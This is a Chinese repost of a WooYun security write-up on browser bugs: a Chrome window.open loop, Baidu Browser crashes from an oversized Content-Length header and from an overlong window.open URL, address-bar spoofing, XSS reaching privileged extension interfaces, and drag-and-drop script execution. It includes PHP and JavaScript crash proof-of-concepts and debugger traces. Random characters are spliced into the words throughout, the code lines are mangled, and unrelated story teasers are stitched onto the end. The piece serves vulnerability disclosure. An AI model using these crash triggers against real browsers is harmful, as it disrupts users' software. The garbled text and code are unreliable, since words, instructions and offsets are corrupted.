漏洞小總結:瀏覽器里那些奇怪的邏輯

來源:http://bbs.ichunqiu.com/thread-8956-1-1.html?from=ch

本文轉自wooyun知識庫

window3:data:text/html,...

....

正是如此,由于陰差陽錯我忘了加javascript:恩尾,但是不巧Chrome也錯把window.open()這個當作了相對路徑加酵,更不巧的是它居然搜索到了第二個正斜線/處汰规,并把它后面的內容替換成了window.open适贸。

這也就意味著劣摇,從window2開始侵续,他就開始了一直執(zhí)行同一段代碼的不歸路柜去,難怪會一直占100%cpu呢。

官方的修復是(REV 168294):

[AppleScript]純文本查看復制代碼

?

1

2

3

4

5

6

7

8M [url]http://src.chromium.org/viewvc/chrome/trunk/src/url/url_canon_relative.cc?r1=254565&r2=254564&pathrev=254565[/url]

M [url]http://src.chromium.org/viewvc/chrome/trunk/src/url/url_canon_unittest.cc?r1=254565&r2=254564&pathrev=254565[/url]

url_cannon_relative.cc:+

124if(!is_base_hierarchical){

125//Don't allow relative URLsifthebase scheme doesn't supportit.

126returnfalse;

127}

0x03b 百度瀏覽器下載dos (特殊情況考慮不完善)

HTTP頭中郊酒,Content-Length可以反映這個請求的實體大小[2]遇绞,正是如此,下載的時候燎窘,下載器可以拿它當個參考摹闽,但是HTTP頭是我們可以隨便定義的,如果我們在服務器上做一個假的下載文件褐健,并且把它的大小指定的非常大钩骇,甚至超出硬盤能受得了的大小,或者超出存儲下載文件有多大的那個變量的上限會如何呢?

WooYun: 百度瀏覽器5.0正式版除以零異常永久性拒絕服務

在老版本的百度瀏覽器中訪問此文件:

[AppleScript]純文本查看復制代碼

?

1

2

3

4

5

6

7

8#!php


header("Content-type: application/octet-stream");//返回的文件

header("Accept-Ranges: bytes");//按照字節(jié)大小返回

header("Accept-Length: 500");//返回文件大小

header("Content-Length: 500");//返回文件大小

header("Content-Disposition: attachment; filename=B");//這里客戶端的彈出對話框倘屹,對應的文件名

?>

當將Accept-Length該成一個超過其unsigned long上限的值時,百度瀏覽器簡單的把其大小修改為了0慢叨。

關鍵是纽匙,這個0會在之后被用作計算百分比的分母,于是一個奇葩的現(xiàn)象就會出現(xiàn):除以0錯誤拍谐。

過程就是如此簡單:

[AppleScript]純文本查看復制代碼

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19xnet!AcquireAsynHttpService+0x278f2:

5bc5b50283d800sbb???? eax,0

5bc5b5058944241c??????? mov???? dword ptr [esp+1Ch],eax

5bc5b50989542418mov???? dword ptr [esp+18h],edx

5bc5b50d0bc0oreax,eax

5bc5b50f7518jne???? xnet!AcquireAsynHttpService+0x27919(5bc5b529)

5bc5b5118b4c2418mov???? ecx,dword ptr [esp+18h] ;文件大小

5bc5b5158b442414mov???? eax,dword ptr [esp+14h] ;已經下載的大小

5bc5b51933d2xor???? edx,edx

xnet!AcquireAsynHttpService+0x2790b:

5bc5b51b f7f1diveax,ecx? ;0/0

;部分寄存器此時的值:

;eax=00000000ebx=00000000ecx=00000000edx=00000000

5bc5b51d8bd8mov???? ebx,eax

5bc5b51f8b442410mov???? eax,dword ptr [esp+10h]

5bc5b523f7f1diveax,ecx

……

5.x版本的瀏覽器的dmp簡單查看一下:

[AppleScript]純文本查看復制代碼

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

150:033>!analyze-v

FAULTING_IP:

xnet!AcquireAsynHttpService+2790b

5bc5b51b f7f1diveax,ecx

……(略)

DEFAULT_BUCKET_ID:STATUS_INTEGER_DIVIDE_BY_ZERO

PRIMARY_PROBLEM_CLASS:STATUS_INTEGER_DIVIDE_BY_ZERO

BUGCHECK_STR:APPLICATION_FAULT_STATUS_INTEGER_DIVIDE_BY_ZERO

LAST_CONTROL_TRANSFER:from5bc25b4eto5bc5b51b

STACK_TEXT:

0a67f95c5bc25b4e03684b20666e1dbf0383c019xnet!AcquireAsynHttpService+0x2790b

0a67f9845bc24817000000000000000003707e68xnet+0x25b4e

0a67f9ac5bc2158100000000666e1dbf00000000xnet+0x24817

……(略)

0x03c 百度瀏覽器堆損壞 (系統(tǒng)因素考慮不當)

由于分給一個程序的棧的大小是有限的烛缔,而Chrome接受的URL長度確實無限的,所以為了方便轩拨,短url確實可以存在棧中践瓷,但是如果url的長度長于一定限度的時候,存到堆里也未嘗不可亡蓉,但是測試一定要完善晕翠,依然是百度瀏覽器5.x的一個問題:

WooYun: 百度瀏覽器5.0正式版(2.200.0.41563)拒絕服務漏洞

(為了防止一大片都是亂七八糟的數(shù)據(jù),以下能省的我全部省略了)

這個可以很明顯的顯示出來老版本代碼搬到新版本來的弊端砍濒,以及需要達到一定條件下才觸發(fā)的漏洞點淋肾。漏洞需要:Windows Vista以上,使用主板本4.x以下或 5.0版內核版本2.2.210.42889以下的均可觸發(fā)爸邢。

之前以為是像錯誤所報一樣是BUFFER OVERRUN也就是緩沖區(qū)溢出樊卓,其實不然,這個是一個奇怪的堆破壞漏洞杠河。

為了防止堆出現(xiàn)奇怪的調試器友好現(xiàn)象碌尔,先運行瀏覽器,然后Attach到進程上券敌,運行PoC唾戚,可以發(fā)現(xiàn)程序產生了以下異常:

[AppleScript]純文本查看復制代碼

?

1

2

3

4

5

6

7STATUS_STACK_BUFFER_OVERRUN encountered

(a18.32d4):Break instruction exception-code80000003(firstchance)

eax=00000000ebx=5dab3f30ecx=76470174edx=0973c565esi=00000000edi=001b7281

eip=7646ff55esp=0973c7ac ebp=0973c828iopl=0nvupei pl zr na pe nc

cs=0023ss=002b? ds=002b? es=002b? fs=0053gs=002b???????????? efl=00000246

kernel32!UnhandledExceptionFilter+0x5f:

7646ff55cc????????????? int3

回溯一下調用棧:

[AppleScript]純文本查看復制代碼

?

1

2

3

4

5

6

7

80:025>kvn

# ChildEBP RetAddr? Args to Child

000973c8285d9e77895dab3f30caa3800a355c7ff5kernel32!UnhandledExceptionFilter+0x5f(FPO:[SEH])

WARNING:Stack unwind informationnotavailable. Following frames may be wrong.

010973cb5c5d79757b001b7281656c696600000000bdlogicmain!BrowserLogicInit+0x198229

020973e8f85d9deb210ccf0020113d0020001b7281bdlogicmain+0x757b

030973e91c5d98d6fb00000001c3d069b20d1e2dc4bdlogicmain!BrowserLogicInit+0x18f5c1

……(略)

查看一下第一個參數(shù),它指向EXCEPTION_POINTERS:

[AppleScript]純文本查看復制代碼

?

1

20:025>dd5dab3f30

5dab3f305db498a05db498f85d9e7cd01d5be4b5

查看一下異常相關的信息:

[AppleScript]純文本查看復制代碼

?

1

2

3

4

50:025>.exr5db498a0

ExceptionAddress:5d79757b(bdlogicmain+0x0000757b)

ExceptionCode:c0000409(Stack buffer overflow)

ExceptionFlags:00000001

NumberParameters:0

然后使用它的上下文記錄:

[AppleScript]純文本查看復制代碼

?

1

0:025>.cxr5db498f8

以此為準重新回溯一下棧:

[AppleScript]純文本查看復制代碼

?

1

2

3

4

5

6

70:025>kv

***Stack traceforlastsetcontext-.thread/.cxr resetsit

ChildEBP RetAddr? ArgstoChild

0973e8f85d9deb210ccf0020113d0020001b7281bdlogicmain+0x757b

0973e91c5d98d6fb00000001c3d069b20d1e2dc4bdlogicmain!BrowserLogicInit+0x18f5c1

0973e9b85d98de2d0973ea08c3d06a2600000000bdlogicmain!BrowserLogicInit+0x13e19b

……(略)

貌似崩潰發(fā)生在bdlogicmain+0x757b附近陪白,我們在這個函數(shù)開頭設下斷點并仔細查看一下颈走,Let’s rock:

[AppleScript]純文本查看復制代碼

?

1

bp bdlogicmain+0x7556

重新打開瀏覽器,運行PoC咱士,這時Debugger停在我們的斷點處立由。我們將前后指令給u出來,得到部分函數(shù)信息:

[AppleScript]純文本查看復制代碼

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23633b753d8dbdfcefffff??? lea???? edi,[ebp-1004h]

633b7543e818fdffff????? call??? bdlogicmain+0x7260(633b7260)

633b754883c404addesp,4

633b754b5f????????????? pop???? edi

633b754c85c0test??? eax,eax

633b754e75a3jne???? bdlogicmain+0x74f3(633b74f3)

633b75508bb56ce2ffff??? mov???? esi,dword ptr [ebp-1D94h]

633b755656push??? esi ; 參數(shù):size

633b75578d95fcefffff??? lea???? edx,[ebp-1004h];這是他分配方式的分水嶺:0x1004字節(jié)

633b755d52push??? edx? ; 參數(shù):source

633b755e53push??? ebx??? ;參數(shù):dest

633b755f ff15c4f46363call??? dword ptr [bdlogicmain!BrowserLogicInit+0x1cff64(6363f4c4)] ; 調用函數(shù):strncpy

633b75658b4dfc????????? mov???? ecx,dword ptr [ebp-4]

633b756883c40caddesp,0Ch

633b756b c6441eff00mov???? byte ptr [esi+ebx-1],0

633b75705e????????????? pop???? esi

633b757133cd??????????? xor???? ecx,ebp

633b757333c0xor???? eax,eax

633b75755b????????????? pop???? ebx

633b7576e823f82400call??? bdlogicmain!BrowserLogicInit+0x19783e(63606d9e);崩潰在此

633b757b8be5mov???? esp,ebp

633b757d5d????????????? pop???? ebp

633b757e c3ret

可以發(fā)現(xiàn)有一個strncpy(esi/*size*/, edx/*source, 棧上的內容*/, ebx/*dest序厉, 申請的堆*/);非橙衲ぃ可疑,而這個申請的堆則是在其類中使用new后memset成0得到的弛房,其實之前這個memset的時候就已經set錯位置了道盏,不過我們先繼續(xù),p過+0x1cff64之后查看一下堆:

(*是我的用戶名,隱掉了)

[AppleScript]純文本查看復制代碼

?

01

02

03

04

05

06

07

08

09

100:025>dd11a20020

11a20020656c69662f2f2f3a552f3a4373726573

11a200307061732f71**************6b736544

11a200402f706f74414141414141414141414141

……blablabla

0:025>da11a20020

11a20020"file:///C:/Users/**********/Desk"

11a20040"top/AAAAAAAAAAAAAAAAAAAAAAAAAAAA"

11a20060"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

……blablabla

果不其然荷逞,URL的完整內容被復制到堆中了媒咳,仔細一看卻不是這兒堆溢出了,而是它初始化的問題導致復制錯位了种远。下面是我重新開的一個實例涩澡,地址稍有變化,不過不影響結果坠敷。Strncpy完畢之后妙同,各寄存器值如下:

[AppleScript]純文本查看復制代碼

?

1

2

3

4

5eax=00000000ebx=001b7281ecx=0006dca0edx=0975db50esi=0975db50edi=11d50020

eip=68542af4esp=0975cd9c ebp=0975eb54iopl=0nvupei pl nz ac pe nc

cs=0023ss=002b? ds=002b? es=002b? fs=0053gs=002b???????????? efl=00000216

MSVCR100!strncpy+0x24:

68542af40f8585000000jne???? MSVCR100!strncpy+0xaf(68542b7f)[br=1]

查看堆這個地址的信息:

[AppleScript]純文本查看復制代碼

?

1

2

3

4

5

6

7

8

90:025>!address11d50020

ProcessParametrs007607f0inrange0076000000860000

Environment09e98c48inrange09e100000a210000

11d50000:11d50000-001b8000

Type00020000MEM_PRIVATE

Protect00000004PAGE_READWRITE

State00001000MEM_COMMIT

Usage??? RegionUsageHeap

Handle07790000

可以看到堆的大小遠大于復制的字節(jié)數(shù),這樣可能就不會是堆溢出了膝迎,讓我們再看一次堆的內容:

[AppleScript]純文本查看復制代碼

?

01

02

03

04

05

06

07

08

09

10

110:025>gu

eax=11d50020ebx=11d50020ecx=00000000edx=00414141esi=001b7281edi=001b7281

eip=63617565esp=0975cdac ebp=0975eb54iopl=0nvupei pl zr na pe nc

cs=0023ss=002b? ds=002b? es=002b? fs=0053gs=002b???????????? efl=00000246

bdlogicmain+0x7565:

636175658b4dfc????????? mov???? ecx,dword ptr [ebp-4] ss:002b:0975eb50=a7babf41

0:025>dd11d50020

11d50020656c69662f2f2f3a552f3a4373726573

11d500307061732f71**************6b736544

11d500402f706f74414141414141414141414141

11d5005041414141414141414141414141414141

接著查看一下11d50000處的堆信息粥帚,這回我們看到了好玩的東西了,從0x20字節(jié)開始限次,網(wǎng)址居然被寫到了堆頭部的_HEAP結構芒涡,直接覆蓋了堆的信息!(其實最開始memset的時候就已經蓋了掂恕,new之后傳來的指針就沒給對)拖陆,這樣當堆釋放的時候系統(tǒng)就會檢測到這個問題,然后報告BUFFER_OVERRUN懊亡,但其實只是一個巧合依啰。

由于系統(tǒng)差異,導致函數(shù)的走向分支出現(xiàn)了問題店枣,指針的偏移沒有正確的寫入速警,在Windows XP之下,偏移被正確的調整了鸯两,但是在高版本系統(tǒng)中這個偏移量卻沒有寫對闷旧,導致了它直接寫到了堆頭部,直接破壞了整個堆的結構钧唐。

[AppleScript]純文本查看復制代碼

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

240:025>dt _HEAP11d50000

ntdll!_HEAP

+0x000Entry:_HEAP_ENTRY

+0x008SegmentSignature:0

+0x00c SegmentFlags:0

+0x010SegmentListEntry:_LIST_ENTRY [0x1b8000-0x1b8000]

+0x018Heap:0x213b4097_HEAP

+0x01c BaseAddress:0x04000000

+0x020NumberOfPages:0x656c6966

+0x024FirstEntry:0x2f2f2f3a _HEAP_ENTRY

+0x028LastValidEntry:0x552f3a43_HEAP_ENTRY

+0x02c NumberOfUnCommittedPages:0x73726573

+0x030NumberOfUnCommittedRanges:0x7061732f

+0x034SegmentAllocatorBackTraceIndex:0x****

+0x036Reserved:0x****

+0x038UCRSegmentList:_LIST_ENTRY [0x********-0x6b736544]

+0x040Flags:0x2f706f74

+0x044ForceFlags:0x41414141

+0x048CompatibilityFlags:0x41414141

+0x04c EncodeFlagMask:0x41414141

+0x050Encoding:_HEAP_ENTRY

+0x058PointerKey:0x41414141

+0x05c Interceptor:0x41414141

…………blabla 后面都是0x41414141

那為什么只會在這樣的PoC中出現(xiàn)呢忙灼,普通的window.open為什么沒有這類問題?bp bdlogicmain+0x7490 在函數(shù)開頭下斷钝侠,可以發(fā)現(xiàn)原因是百度瀏覽器使用了一個邏輯该园,也即<4096的用棧上變量,如果長于4096字節(jié)帅韧,程序才會試圖分配堆并對堆進行錯誤的寫入操作里初。這個問題出現(xiàn)在新窗口的彈出中,必須是新小窗口才會出現(xiàn)忽舟,包括被廣告攔截也會出現(xiàn)双妨。

相關問題點:

[AppleScript]純文本查看復制代碼

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34636174e7e874fcffff????? call??? bdlogicmain+0x7160(63617160)

;函數(shù)功能:判斷是否要比4096長

636174ec83c41caddesp,1Ch

636174ef85c0test??? eax,eax

;eax==0:代表長于4096字節(jié)

636174f17413je????? bdlogicmain+0x7506(63617506)

bdlogicmain+0x74f3:

636174f35e????????????? pop???? esi

636174f483c8fforeax,0FFFFFFFFh

636174f75b????????????? pop???? ebx

636174f88b4dfc????????? mov???? ecx,dword ptr [ebp-4]

636174fb33cd??????????? xor???? ecx,ebp

636174fd e89cf82400call??? bdlogicmain!BrowserLogicInit+0x19783e(63866d9e)

636175028be5mov???? esp,ebp

636175045d????????????? pop???? ebp

63617505c3ret

bdlogicmain+0x7506:

636175068db570e2ffff??? lea???? esi,[ebp-1D90h]

6361750c8d85fcefffff??? lea???? eax,[ebp-1004h]

63617512e8d9f9ffff????? call??? bdlogicmain+0x6ef0(63616ef0)

6361751785c0test??? eax,eax

6361751975d8jne???? bdlogicmain+0x74f3(636174f3)

……blabla

bdlogicmain+0x7550://長于4096字節(jié)時:

636175508bb56ce2ffff??? mov???? esi,dword ptr [ebp-1D94h]

6361755656push??? esi

636175578d95fcefffff??? lea???? edx,[ebp-1004h]

6361755d52push??? edx

6361755e53push??? ebx

6361755f ff15c4f48963call??? dword ptr [bdlogicmain!BrowserLogicInit+0x1cff64(6389f4c4)]

636175658b4dfc????????? mov???? ecx,dword ptr [ebp-4]

Simple PoC:

[AppleScript]純文本查看復制代碼

?

01

02

03

04

05

06

07

08

09

10

11#!html

var s="A";

var i=1;

for(i=1;i<599559;i++)

s+="A";

alert(1);

window.open(s);

0x03d 新窗口的那些事兒 (邏輯安全不全面)

很多廠商都意識到了一個問題淮阐,那就是OnBeforeNavigate2的時候,剛chrome.Load()千萬不能改地址欄啊刁品,一定不能改地址欄啊泣特,必須等頁面全部加載完才可以,結果主窗口做的天衣無縫挑随,完美無瑕群扶,之后就忘了小窗口的事情。 小窗口怎么產生呢镀裤?

[AppleScript]純文本查看復制代碼

?

1

window.open

這個簡單無比,到處可見此類彈窗小廣告缴饭,被廣告攔截的幾率非常大暑劝,可以忽視

WooYun: 傲游瀏覽器4.1.2.2000偽造任意網(wǎng)站漏洞

target 但是這個基本就沒人攔了,但是蛋疼的是帶有url變化的東西都能接上這個颗搂,比如anchor担猛,比如form,這個可以參考:

WooYun: 傲游瀏覽器4.3.0.100 表單請求偽造網(wǎng)站漏洞(可釣魚)

WooYun: 搜狗瀏覽器4.2.2.9903任意網(wǎng)站偽造+自有協(xié)議下XSS*2

廠商也意識到了丢氢,是啊傅联,不加載完不能換地址,一定要到OnDocumentComplete疚察,要到documentComplete()才行蒸走,可是唯獨忘了程序創(chuàng)建新窗口的時候也不能把地址欄給設置上,這樣就導致了很多問題貌嫡。

因為攻擊者彈出來的東西可能并不會去瞎加載一些亂七八糟的網(wǎng)站比驻,他們轉而可能在小窗口上運行腳本,腳本執(zhí)行完之后確實產生了頁面完成事件岛抄,“但是在這上面執(zhí)行的javascript:開頭的地址肯定是不能替換當前地址的呀别惦,那么還是保持之前的地址好了”,這個邏輯仿佛就是“現(xiàn)在我做的事不對夫椭,那么前面做的事一定是正確的”掸掸,結果正中攻擊者下懷,臟數(shù)據(jù)寫到了頁面上蹭秋,臟地址倒也被當作正確地址留下來了扰付。

0x03e xss導致的更嚴重的問題 (插件安全不全面)

越來越多的瀏覽器做了插件,可以讓用戶自行選擇感凤,這是個好事情悯周,因為這樣不必讓本來只想找個小菜刀做飯的用戶一下背了一個核彈發(fā)射場回家。大廠商轉而大度的把裝備扔自己網(wǎng)站上陪竿,大家是要殺人越貨還是要干什么禽翼,盡管自取屠橄。

那么瀏覽器怎么知道用戶啥時候要對自己來一發(fā)火箭炮?External接口倒是可以滿足瀏覽器這個需求闰挡,通過設置可信域锐墙,通常就是瀏覽器自己的插件頁地址或者官網(wǎng),瀏覽器只在可信域上開放external接口长酗,這樣用戶就能在廠商那找到并讓瀏覽器安裝各個插件了溪北。

但是至少不要來XSS,XSS的奇技淫巧大家掌握的比我多夺脾,本來自有協(xié)議就跟個核彈發(fā)射按鈕似的之拨,這XSS一來,直接就把老家送人了咧叭,最可怕的是有些瀏覽器甚至自行關掉了XSS過濾器蚀乔,導致攻擊者只需要做一個payload放到url里就可以讓這些權限高的external調用隨意的在瀏覽器里面跑起來。

例如:

WooYun: 搜狗瀏覽器遠程命令執(zhí)行漏洞

WooYun: 360極速安全瀏覽器存在設計缺陷可導致一序列安全問題

WooYun: 傲游4.3.0.300提示安裝任意插件暴露external接口

0x03f 拖拽跨域 (用戶行為猜測不全)

一直要用最壞的打算來推測用戶能干出來什么出格事兒菲茬,這是個事實吉挣,之前白帽子愛梅小禮發(fā)的拖拽跨域就是個非常一針見血的證明。

WooYun: 所有國產瀏覽器拖曳跨特權域漏洞

本來瀏覽器的超級拖拽行為只有仨考慮:如果是網(wǎng)址婉弹,那么我們就把它打開睬魂;如果是文字我們就把它轉到搜索里面;如果是圖片镀赌,我們就開個新窗口讓用戶自己放大縮小看圖片氯哮。 萬萬沒想到,還有javascript:和vbscript:這種東西佩脊。用戶的鼠標可不聽使喚蛙粘,iframe里面一個javascript拖到外面的頁面里面,腳本可就在外面執(zhí)行起來了威彰。

當然出牧,我想著這還不是最猥瑣的,這種出其不意的事情歇盼,必然有其他地方也能讓我們舉一反三:標簽欄舔痕。

試想標簽欄在開發(fā)的眼里意味著什么?無非兩種可能豹缀,來的是文字伯复,咱搜索;來的是URL邢笙,咱打開啸如。

來的是腳本,那就執(zhí)行了吧氮惯。

0x04 預防&總結

大部分還是從開發(fā)的角度來說吧叮雳,一定要在頁面加載完之后再改變地址想暗,新窗口將地址欄置為about:blank,并在頁面有實際的加載之后再改地址帘不;

在剛啟動就自動執(zhí)行的任務一定要保證更嚴格的可用性说莫,以及要養(yǎng)成良好的編碼習慣,釋放寞焙,引用指針之前一定要確保指針有效储狭,這樣可以確保程序不會一啟動或者每次做的動作大一點就完全崩潰了;

至于邏輯問題捣郊,我覺得這也只好聽天由命辽狈,自求多福了,只好懇請用戶大老爺手下留情呛牲,點鼠標慢一點稻艰,沒事干不要亂拖亂點好了……

參考資料 [1]http://www.w3.org/TR/2008/WD-html5-20080610/web-browsers.html[2]http://tools.ietf.org/html/rfc2616#section-14.13[3] 《挖0day》,愛無言侈净; 應該就是他:http://www.wooyun.org/whitehats/%E7%88%B1%E6%97%A0%E8%A8%80[4]http://illmatics.com/Understanding_the_LFH.pdf

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市僧凤,隨后出現(xiàn)的幾起案子畜侦,更是在濱河造成了極大的恐慌,老刑警劉巖躯保,帶你破解...
    沈念sama閱讀 218,941評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件旋膳,死亡現(xiàn)場離奇詭異,居然都是意外死亡途事,警方通過查閱死者的電腦和手機验懊,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,397評論 3 395
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來尸变,“玉大人义图,你說我怎么就攤上這事≌倮茫” “怎么了碱工?”我有些...
    開封第一講書人閱讀 165,345評論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長奏夫。 經常有香客問我怕篷,道長,這世上最難降的妖魔是什么酗昼? 我笑而不...
    開封第一講書人閱讀 58,851評論 1 295
  • 正文 為了忘掉前任廊谓,我火速辦了婚禮,結果婚禮上麻削,老公的妹妹穿的比我還像新娘蒸痹。我一直安慰自己春弥,他們只是感情好,可當我...
    茶點故事閱讀 67,868評論 6 392
  • 文/花漫 我一把揭開白布电抚。 她就那樣靜靜地躺著惕稻,像睡著了一般。 火紅的嫁衣襯著肌膚如雪蝙叛。 梳的紋絲不亂的頭發(fā)上这嚣,一...
    開封第一講書人閱讀 51,688評論 1 305
  • 那天,我揣著相機與錄音嗅蔬,去河邊找鬼济蝉。 笑死,一個胖子當著我的面吹牛肺然,可吹牛的內容都是我干的蔫缸。 我是一名探鬼主播,決...
    沈念sama閱讀 40,414評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼际起,長吁一口氣:“原來是場噩夢啊……” “哼拾碌!你這毒婦竟也來了?” 一聲冷哼從身側響起街望,我...
    開封第一講書人閱讀 39,319評論 0 276
  • 序言:老撾萬榮一對情侶失蹤校翔,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后灾前,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體防症,經...
    沈念sama閱讀 45,775評論 1 315
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,945評論 3 336
  • 正文 我和宋清朗相戀三年哎甲,在試婚紗的時候發(fā)現(xiàn)自己被綠了蔫敲。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,096評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡炭玫,死狀恐怖奈嘿,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情吞加,我是刑警寧澤指么,帶...
    沈念sama閱讀 35,789評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站榴鼎,受9級特大地震影響伯诬,放射性物質發(fā)生泄漏。R本人自食惡果不足惜巫财,卻給世界環(huán)境...
    茶點故事閱讀 41,437評論 3 331
  • 文/蒙蒙 一盗似、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧平项,春花似錦赫舒、人聲如沸悍及。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,993評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽心赶。三九已至,卻和暖如春缺猛,著一層夾襖步出監(jiān)牢的瞬間缨叫,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,107評論 1 271
  • 我被黑心中介騙來泰國打工荔燎, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留耻姥,地道東北人。 一個月前我還...
    沈念sama閱讀 48,308評論 3 372
  • 正文 我出身青樓有咨,卻偏偏與公主長得像琐簇,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子座享,可洞房花燭夜當晚...
    茶點故事閱讀 45,037評論 2 355

推薦閱讀更多精彩內容